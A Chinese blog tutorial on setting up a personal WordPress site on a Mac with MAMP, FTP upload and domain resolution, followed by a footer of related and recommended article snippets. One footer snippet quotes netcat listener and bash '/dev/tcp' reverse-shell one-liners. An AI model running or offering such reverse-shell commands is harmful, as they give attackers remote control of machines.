一直以为自己记忆力很好,毕业之后才发现,之前需要看一遍就能记住的东西,现在看两三遍才能有印象。而搞技术的,如果不及时的记录下当时的情景,过后很容易就忘记。所以,再次萌生了搭博客、写文章的想法(之前用Discuz模板搭过一个论坛,后来忙的废掉了)。

本文介绍如何搭建个人博客网站,网站有空间、程序和域名组成。首先,空间是存放网站程序的,一般的博客程序不需要单独的主机,购买一般的网络空间即可(云主机等等),空间还分为国内和国外;其中国内的需要备案,网速比较快,而国外的不需要备案,网速相对较慢;其次,网站程序一般选择博客模板,我首次用的是论坛模板Discuz,这个模板比较臃肿,不太适合博客建站,一般用于论坛等等,我这次用的是wordpress模板,比较轻量级,各种插件也比较丰富;最后,域名是我们搜索用的,需要解析后才能用,需要到域名售卖网站购买。详细建站步骤如下:

一. 搭建本地开发环境

1.下载MAMP

利用MAMP搭建本地开发环境,MAMP是一款集成ApacheMySQL等等的软件包,可以在本地模拟网络空间,下载地址:MAMP下载

2. 安装

傻瓜教程,无脑点击 下一步MAMP安装好后,有两个版本,一个是MAMP,另一个是MAMP PRO,打开MAMP,因为它是免费的。

3. 更改根目录

点击 Preferences... --> Web Server --> Document Root 重新选择网站重新目录,这里放我们的网站重新。

4. 创建数据库

点击 Open WebStart page --> phpMyAdmin --> Databases,在Create database下面输入数据库名称,如wordpress,然后点击 Create即可创建数据库,用户名和密码都是root

二. 安装网站重新

1. 下载网站模板重新

wordpress下载

2. 安装模板

将下载的wordpress模板解压后的所有文件,拷贝到MAMP的根目录,然后在浏览器在输入:localhost:8888/,点击 现在就开始

填写好数据库名、数据库用户名及密码、数据库主机(网络空间为IP),之后点击提交:

填写网站名称、管理员账户和电子邮箱,之后点击 安装WordPress 进行安装:

点击 登录 后即可跳转网站后台登录界面,输入管理员账户后即可登录网站管理后台。

三. 管理网站

1. 选择模板

点击 插件 --> 安装插件,选择主题、markdown编辑、适配移动APP、访客统计等等插件,增强网站美观和信息记录功能。也可以到wordpress网站下在主题等其它资料。

2. 浏览网站

输入:localhost:8888/及可查看个人博客网站。关于进一步优化网站的方法,请根据需求查阅相关资料。

四. 上传网站重新到网络空间

1. 下载ftp工具,如 FileZilla

2. 连接网络空间

3. 上传本地的网站程序

4. 上传本地的数据库wordpress,不会的和网络空间的技术员沟通一下,了解如何上传数据库

五. 网站解析

1. 在购买的域名网站解析用IP解析网络空间

2. 在购买的网络空间网站绑定域名


至此,个人博客网站便搭建好了,可以通过域名访问自己的博客网站了,是不是很鸡冻,有木有。(有时,解析后需要等一会儿,无法立即访问到)

如何搭建个人博客网站(Mac)的更多相关文章

  1. 阿里云+wordpress搭建个人博客网站【小白专用的图文教程】

    [声明] 欢迎转载,但请保留文章原始出处→_→ 生命壹号:http://www.cnblogs.com/smyhvae/ 文章来源:http://www.cnblogs.com/smyhvae/p/4 ...

  2. 阿里云+wordpress搭建个人博客网站

    [正文] 在阿里云上搭建使用个人博客主要分为以下几个步骤: 1.购买阿里云ECS主机 2.购买域名 3.申请备案 4.环境配置 5.安装wordpress 6.域名解析 声明一下,本人对服务器端的知识 ...

  3. Linux_基于Docker快速搭建个人博客网站

    时间:2017年04月28日星期五 说明:基于docker技术,使用jpress开源框架搭建个人博客网站.特别感谢jpress开源项目.系统版本:CentOS 7.2-64bit. 步骤一:准备Doc ...

  4. Flask搭建个人博客网站(1)—项目规划--李渣渣(lizaza.cn)

    Flask搭建个人博客网站(1)—项目规划--李渣渣(lizaza.cn) 发布时间:2020-05-2413次浏览 前言 现在市面上又许多比较成熟的博客平台,例如:CSDN,博客园,新浪博客等!对于 ...

  5. 从零到一快速搭建个人博客网站(域名自动跳转www,二级域名使用)(二)

    前言 本篇文章是对上篇文章从零到一快速搭建个人博客网站(域名备案 + https免费证书)(一)的完善,比如域名自动跳转www.二级域名使用等. 域名自动跳转www 这里对上篇域名访问进行优化,首先支 ...

  6. GitHub Pages + Hexo搭建个人博客网站-github风格-采坑记录

    目录 1.本机安装nodejs 2.github上创建仓库 3.安装hexo 4.hexo主题 5.配置主题 6.添加文章 7.使用分类和标签 8.增加文章目录 9.推送github 使用github ...

  7. LNMP架构之搭建wordpress博客网站

    系统环境版本 [root@db02 ~]# cat /etc/redhat-release CentOS release 6.9 (Final) [root@db02 ~]# uname -a Lin ...

  8. Hexo+Github/Coding免费搭建个人博客网站

    体验更优排版请移步原文:http://blog.kwin.wang/other/hexo-github-build-blog.html 很早之前就想搭建一个属于自己的博客网站,一方面是给自己做笔记,把 ...

  9. 从零到一快速搭建个人博客网站(域名备案 + https免费证书)(一)

    环境介绍 资源 说明 centos v7.2 docker 快速部署项目环境 nginx 反向代理,同时配置https证书 halo v1.4.2,开源博客项目 Let's Encrypt 免费证书 ...

随机推荐

  1. 结巴(jieba)中文分词及其应用实践

    中文文本分类不像英文文本分类一样只需要将单词一个个分开就可以了,中文文本分类需要将文字组成的词语分出来构成一个个向量.所以,需要分词. 这里使用网上流行的开源分词工具结巴分词(jieba),它可以有效 ...

  2. Linux下NC反弹shell命令

    本机开启监听: nc -lvnp 4444nc -vvlp 4444 目标机器开启反弹 bash版本: bash -i >& /dev/tcp/ >& perl版本: pe ...

  3. 100+个MySQL调试和优化技巧

    MySQL是一个功能强大的开源数据库.随着越来越多的数据库驱动的应用程序,人们一直在推动MySQL发展到它的极限.这里是101条调节和优化MySQL安装的技巧.一些技巧是针对特定的安装环境的,但这些思 ...

  4. MyBatis的关联关系补充 多对多 继承

    多对多 一个学生有多个课程 一个课程有多个学生 思路分析 :使用一个中间表 用学生表和课程表的主键作为中间表的联合主键 1数据库表的设计 课程表 学生表 中间表 2/实体类的设计 课程类 public ...

  5. IDEA的热部署插件jrebel6.4.3离线安装版配置与破解

    JRebel 介绍 IDEA上原生是不支持热部署的,一般更新了 Java 文件后要手动重启 Tomcat 服务器,才能生效,浪费不少生命啊.目前对于idea热部署最好的解决方案就是安装JRebel插件 ...

  6. 小白也能看懂的插件化DroidPlugin原理(二)-- 反射机制和Hook入门

    前言:在上一篇博文<小白也能看懂的插件化DroidPlugin原理(一)-- 动态代理>中详细介绍了 DroidPlugin 原理中涉及到的动态代理模式,看完上篇博文后你就会发现原来动态代 ...

  7. nopCommerce 3.9 大波浪系列 之 路由注册

    在Global.asax,Application_Start()方法中会进行路由注册,代码如下. public static void RegisterRoutes(RouteCollection r ...

  8. bzoj2120: 数颜色 [莫队][分块]

    Description 墨墨购买了一套N支彩色画笔(其中有些颜色可能相同),摆成一排,你需要回答墨墨的提问.墨墨会像你发布如下指令: 1. Q L R代表询问你从第L支画笔到第R支画笔中共有几种不同颜 ...

  9. [转]从入门到精通: 最小费用流的“zkw算法”

    >>>> 原文地址:最小费用流的“zkw算法” <<<< 1. 网络流的一些基本概念 很多同学建立过网络流模型做题目, 也学过了各种算法, 但是对于基本 ...

  10. C#中的Infinity和NaN

    C#中double和float类型有两个特殊值: Infinity(无穷大):5.0 / 0.0 = Infinity NaN(not a number):0.0 / 0.0 = NaN 计算表达式 ...